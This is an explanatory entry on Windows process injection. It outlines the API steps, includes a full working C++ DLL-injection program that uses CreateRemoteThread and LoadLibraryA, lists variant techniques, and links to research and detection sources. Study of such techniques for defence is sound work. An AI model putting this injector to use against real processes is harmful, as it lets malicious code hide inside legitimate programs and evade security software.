Process Injection
Process injection is a technique used by attackers to execute arbitrary code within the address space of another process. This allows the malicious code to run under the context of a legitimate process, which can help it evade detection by security software and gain elevated privileges.
How Process Injection Works
A basic process injection technique will include the following steps.
- Opening a Target Process: The attacker identifies and opens a handle to the target process using functions like
OpenProcess
. - Allocating Memory in the Target Process: The attacker allocates memory within the target process using
VirtualAllocEx
. - Writing Malicious Code to the Allocated Memory: The malicious code is written into the allocated memory using
WriteProcessMemory
. - Creating a Remote Thread: Finally, the attacker creates a remote thread to execute the malicious code within the context of the target process using
CreateRemoteThread
.
Sample Implementation
Below is a simplified example of process injection in C++ on Windows:
#include <windows.h>
#include <iostream>
int main() {
// The process ID (PID) of the target process
DWORD pid = 1234; // Example PID
const char* dllPath = "C:\\path\\to\\malicious.dll";
// Step 1: Open the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cerr << "Failed to open process" << std::endl;
return 1;
}
// Step 2: Allocate memory in the target process
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (!pRemoteMemory) {
std::cerr << "Failed to allocate memory in target process" << std::endl;
CloseHandle(hProcess);
return 1;
}
// Step 3: Write the DLL path to the allocated memory
if (!WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL)) {
std::cerr << "Failed to write to target process memory" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Step 4: Create a remote thread to load the DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMemory, 0, NULL);
if (!hThread) {
std::cerr << "Failed to create remote thread" << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Wait for the remote thread to finish
WaitForSingleObject(hThread, INFINITE);
// Clean up
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
std::cout << "DLL injected successfully" << std::endl;
return 0;
}
Other Variant Process Injection Techniques
While the above example demonstrates a basic form of process injection, several other techniques exist, each with unique methods and purposes.
- APC Injection
- AtomBombing Injection
- Breaking BaDDEr
- CTray
- PROPagate
- CLIPBRDWNDCLASS
- ...
Resource
- https://github.com/odzhan/injection
- https://github.com/theevilbit/injection
- https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
- https://github.com/AzureGreen/InjectCollection
- https://github.com/SafeBreach-Labs/pinjectra
- https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf
- https://unprotect.it/category/process-manipulating/